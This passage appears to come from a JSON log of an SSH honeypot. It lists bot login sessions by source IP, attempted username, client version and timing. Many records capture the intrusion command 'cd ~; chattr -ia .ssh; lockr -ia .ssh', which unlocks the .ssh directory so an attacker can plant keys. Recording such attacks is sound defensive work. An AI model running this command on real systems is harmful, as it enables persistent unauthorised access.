  "exec_command": null,
  "started_at": "2026-08-26T13:31:22.595633+00:00",
  "ended_at": "2026-08-26T13:31:24.271744+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c22ca6a1-cfbb-4ad8-8dbb-28b19328164c",
  "name": "sooty-dapper-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40593,
  "username": "ruslan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:31:15.565894+00:00",
  "ended_at": "2026-08-26T13:31:17.251579+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fcf3291b-e78e-445e-94b2-3a8e22f9424d",
  "name": "austere-thawing-avocet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51116,
  "username": "valentina",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:31:14.699141+00:00",
  "ended_at": "2026-08-26T13:31:15.598681+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f75eb0e-b77f-4e84-ab19-73ef149b645f",
  "name": "rapid-languid-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51108,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:31:10.938070+00:00",
  "ended_at": "2026-08-26T13:31:12.963000+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "18e61d27-ebe7-4c71-8696-b24a854aad5b",
  "name": "gallant-faded-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 50902,
  "username": "zzl",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1207,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:28:25.500665+00:00",
  "ended_at": "2026-08-26T13:28:26.300194+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2242
 },
 {
  "id": "3cd819fd-7e65-4531-b5da-b261e0a40c50",
  "name": "marbled-daring-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50918,
  "username": "zzl",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:28:01.707164+00:00",
  "ended_at": "2026-08-26T13:28:03.421150+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "92367b0b-15ec-44bf-bda2-aa08b815dd19",
  "name": "ivory-spirited-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50910,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:27:56.908909+00:00",
  "ended_at": "2026-08-26T13:27:59.908010+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "922fe175-b81b-4b89-920c-08269d74bae3",
  "name": "orderly-eager-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50712,
  "username": "junior",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:24:39.447514+00:00",
  "ended_at": "2026-08-26T13:24:40.420047+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "767c3b55-b00e-4733-a64c-b6418518bb16",
  "name": "crimson-peaty-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50708,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:24:35.901300+00:00",
  "ended_at": "2026-08-26T13:24:37.601806+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7eb3db04-258b-4b6e-9f52-ac105ef217d3",
  "name": "lonesome-drifting-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 50696,
  "username": "junior",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:24:31.836562+00:00",
  "ended_at": "2026-08-26T13:24:33.795503+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "da994aa2-008d-4b69-b05f-7ceeb86a64fa",
  "name": "chilly-deft-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "125.142.37.91",
  "src_port": 46416,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 632,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:21:48.264018+00:00",
  "ended_at": "2026-08-26T13:21:49.062135+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2093
 },
 {
  "id": "9341314a-c666-428a-ad30-b5e08049bc6c",
  "name": "wry-tender-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 50494,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1209,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:21:47.359998+00:00",
  "ended_at": "2026-08-26T13:21:48.920783+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "2ddb064a-e68b-4ca2-b56d-0fb4b01e9c75",
  "name": "deft-clever-greenfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "125.142.37.91",
  "src_port": 1363,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:21:35.144346+00:00",
  "ended_at": "2026-08-26T13:21:36.807343+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "35a31d27-89c4-424c-b19a-7faf6c9b1c51",
  "name": "indigo-kindly-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "125.142.37.91",
  "src_port": 63838,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:21:33.113916+00:00",
  "ended_at": "2026-08-26T13:21:33.837188+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "727c4a6a-7880-4112-a8ac-8d26f09ac588",
  "name": "jolly-bronzed-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50510,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:21:14.826027+00:00",
  "ended_at": "2026-08-26T13:21:16.827367+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6c7616e5-8443-479a-b1dd-bdfdc090db6e",
  "name": "gloomy-ruddy-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50504,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:21:11.530509+00:00",
  "ended_at": "2026-08-26T13:21:13.031199+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1261f400-7a1d-4efd-b2a7-d9feaf63e031",
  "name": "autumn-cobalt-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 50286,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 951,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:18:24.164394+00:00",
  "ended_at": "2026-08-26T13:18:26.224187+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "58ec68b0-2d8e-47db-82e7-e9be3fb08e6a",
  "name": "electric-glassy-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50306,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:17:51.899115+00:00",
  "ended_at": "2026-08-26T13:17:53.255274+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e4f1ebd-f4da-4f98-8b61-05069f6f8749",
  "name": "burly-noble-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50296,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:17:48.009184+00:00",
  "ended_at": "2026-08-26T13:17:50.098931+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "00394236-bcb6-4a9b-af1f-1c221f8e2a22",
  "name": "faded-muted-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 50090,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1167,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:15:06.296677+00:00",
  "ended_at": "2026-08-26T13:15:08.206951+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b2f4c7e1-9894-4dd8-8206-d3e798c1c3d2",
  "name": "diligent-solemn-ocelot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50106,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:14:35.204805+00:00",
  "ended_at": "2026-08-26T13:14:37.902542+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bf8541d2-2f43-4266-bef4-cb02768ffb56",
  "name": "ashen-wooded-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50098,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:14:31.630799+00:00",
  "ended_at": "2026-08-26T13:14:32.955032+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "08b1ed45-b4fb-4c63-9613-aaea3cbca3b7",
  "name": "murky-wandering-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 49888,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1202,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:11:42.028828+00:00",
  "ended_at": "2026-08-26T13:11:47.309219+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d68a9fb4-5569-47a8-a384-5dffce4837a0",
  "name": "downy-merry-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49910,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:11:19.207992+00:00",
  "ended_at": "2026-08-26T13:11:20.701235+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "08d746d4-5f6f-4ee7-a7d3-ab3efbe690a8",
  "name": "curious-marbled-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49898,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:11:16.153058+00:00",
  "ended_at": "2026-08-26T13:11:17.450656+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38df8a4e-f332-4892-a793-66dae3d31645",
  "name": "shaded-sincere-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 49686,
  "username": "student",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 922,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:08:30.023318+00:00",
  "ended_at": "2026-08-26T13:08:31.647250+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "b2807e37-d15a-4d72-98ff-d1111d42b136",
  "name": "hardy-creaky-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49702,
  "username": "student",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:08:06.709569+00:00",
  "ended_at": "2026-08-26T13:08:08.750867+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "15a57ca7-cd0b-4043-92d3-6ec04beba12a",
  "name": "gilded-sleepy-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49694,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:08:03.034092+00:00",
  "ended_at": "2026-08-26T13:08:04.457238+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d2293fc2-a616-4559-aee6-ece9c0f1e1b7",
  "name": "pristine-lucid-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49498,
  "username": "player",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:04:50.706215+00:00",
  "ended_at": "2026-08-26T13:04:51.540816+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e27eab1-9396-42d7-8b1a-a2c9cdb53f58",
  "name": "smoky-freckled-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49492,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:04:45.597438+00:00",
  "ended_at": "2026-08-26T13:04:47.529614+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "70313608-fc37-40d7-a38b-ebb60e1ada05",
  "name": "gleaming-slender-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 49484,
  "username": "player",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:04:42.600307+00:00",
  "ended_at": "2026-08-26T13:04:43.510870+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "4cf3a999-53f5-4ecd-85fb-0df56d958da7",
  "name": "golden-russet-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49304,
  "username": "nebula",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:01:49.698000+00:00",
  "ended_at": "2026-08-26T13:01:51.493792+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e9b42733-deec-4dbb-8cb7-f98951132554",
  "name": "dutiful-burly-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49298,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:01:44.439356+00:00",
  "ended_at": "2026-08-26T13:01:46.249688+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "360fe506-4e9d-48b8-8520-6c6d182fd811",
  "name": "tidal-mindful-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 49286,
  "username": "nebula",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:01:40.711904+00:00",
  "ended_at": "2026-08-26T13:01:42.412418+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "c4001c4a-2129-414a-9db4-36677973a1a1",
  "name": "drifting-cosmic-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 49088,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 934,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:59:15.601396+00:00",
  "ended_at": "2026-08-26T12:59:17.012599+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "9bd62048-6936-4b25-888d-3c5ee273a21f",
  "name": "blunt-courtly-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49104,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:58:44.395071+00:00",
  "ended_at": "2026-08-26T12:58:46.364700+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2233830-8193-421f-988b-0e878fe4fca4",
  "name": "frank-marine-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49098,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:58:40.302741+00:00",
  "ended_at": "2026-08-26T12:58:42.147330+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "11b65d9d-09a8-42c4-8f36-6094233473bc",
  "name": "frugal-plush-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 48882,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 856,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:56:23.726104+00:00",
  "ended_at": "2026-08-26T12:56:24.969226+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "55a38356-34b8-4650-b30e-fffa00530ab0",
  "name": "knotted-noble-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48898,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:56:00.496567+00:00",
  "ended_at": "2026-08-26T12:56:01.597085+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a9f94883-fc4b-4343-819e-0f8bb58a4354",
  "name": "glassy-fabled-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48890,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:55:57.502264+00:00",
  "ended_at": "2026-08-26T12:55:58.795519+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "769cc704-6be2-4190-b4d9-94577d3282f5",
  "name": "weathered-frugal-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 48686,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 851,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:53:31.835773+00:00",
  "ended_at": "2026-08-26T12:53:33.498135+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "792bab8c-991c-4da0-9101-3fb56bd1957c",
  "name": "wooded-bronzed-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48700,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:53:08.799794+00:00",
  "ended_at": "2026-08-26T12:53:09.711472+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c3c91f58-9f83-4163-ac09-99daee32f21c",
  "name": "cunning-hearty-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48694,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:53:05.994245+00:00",
  "ended_at": "2026-08-26T12:53:06.995916+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "722bf368-483e-4dac-99db-67390780a96e",
  "name": "mindful-wandering-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 48490,
  "username": "mark",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 858,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:50:49.596202+00:00",
  "ended_at": "2026-08-26T12:50:50.894741+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "02d2da41-52ba-4891-9e49-6d020c712266",
  "name": "calm-snowy-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48512,
  "username": "mark",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:50:24.197392+00:00",
  "ended_at": "2026-08-26T12:50:25.211023+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b368caba-e450-4f06-95d6-c5c198015c8f",
  "name": "kindly-meadow-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48498,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:50:21.096936+00:00",
  "ended_at": "2026-08-26T12:50:22.493936+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ed78ff8b-f28a-42df-8a34-903fe480802a",
  "name": "curious-blazing-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 48294,
  "username": "testUser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 870,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:48:03.193113+00:00",
  "ended_at": "2026-08-26T12:48:04.611804+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "343d5bfc-4860-486e-801d-616b9c6ea022",
  "name": "frugal-pleasant-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48310,
  "username": "testUser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:47:38.799725+00:00",
  "ended_at": "2026-08-26T12:47:40.193111+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e0cb9555-8d67-46c5-8957-5185dcea9b81",
  "name": "icy-ginger-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48302,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:47:35.602879+00:00",
  "ended_at": "2026-08-26T12:47:36.998638+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6fac3614-ca78-44f5-891b-155ec588a22b",
  "name": "russet-wooded-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 46998,
  "username": "user7",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 588,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:46:55.530790+00:00",
  "ended_at": "2026-08-26T12:46:56.544114+00:00",
